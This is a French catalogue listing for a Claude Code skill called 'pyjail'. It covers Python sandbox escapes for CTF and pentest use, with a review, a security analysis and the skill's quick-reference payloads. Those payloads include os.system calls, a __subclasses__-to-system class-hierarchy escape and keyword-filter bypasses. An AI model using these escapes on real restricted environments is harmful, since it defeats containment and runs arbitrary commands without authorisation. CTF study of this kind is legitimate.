Échapper aux bacs à sable Python

VérifiéPrudence

Fournit des techniques pour contourner les restrictions des environnements Python eval/exec, notamment l'exécution de commandes de base, la traversée de la hiérarchie de classes et le contournement de mots-clés via l'encodage ou la concaténation. Utile pour les tests d'intrusion et les défis CTF impliquant des jails Python ou des restrictions de sandbox.

Spar Skills Guide Bot
SecuriteIntermédiaire
9002/06/2026
Claude Code
#python#sandbox-escape#security#ctf#jail

Recommandé pour

Notre avis

Ce skill permet d'échapper aux restrictions d'un sandbox Python, par exemple dans des challenges de type CTF ou des environnements d'exécution filtrés.

Points forts

  • Fournit une méthode systématique pour identifier et contourner les filtres de mots-clés ou de caractères.
  • Propose des techniques éprouvées comme la hiérarchie de classes, l'encodage et la concaténation.
  • Comprend des références détaillées pour les contournements avancés et les payloads complets.

Limites

  • Nécessite une compréhension intermédiaire de Python et de son modèle d'objet.
  • Les techniques peuvent échouer si le sandbox bloque l'accès à la hiérarchie de classes ou aux builtins.
  • Certains environnements récents peuvent avoir des correctifs contre ces contournements.
Quand l'utiliser

Utilisez ce skill lorsque vous êtes confronté à un environnement Python avec des restrictions sur eval/exec ou des entrées filtrées, et que vous devez exécuter du code arbitraire.

Quand l'éviter

Évitez ce skill si l'environnement ne repose pas sur Python ou si vous avez un accès direct à un shell sans restrictions.

Analyse de sécurité

Prudence
Score qualité90/100

The skill teaches techniques for escaping restricted Python interpreters to run shell commands. While intended for CTF challenges and educational use, these methods could be applied maliciously. No direct malicious payloads or destructive instructions are present, but the allowed Bash tool combined with these escape methods could lead to system compromise if abused.

Points d'attention
  • Provides methods to bypass Python sandbox restrictions and execute arbitrary OS commands, which could be misused in unauthorized environments.

Exemples

Basic OS command execution
I'm in a Python jail that blocks the word 'os'. How can I execute a system command to read flag.txt?
Bypass filter with class hierarchy
The sandbox blocks __import__ and builtins. Use class hierarchy to get a file read capability.
Find useful subclass index
Help me find the index of a callable subclass in Python's object hierarchy so I can spawn a shell.

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
Skills similaires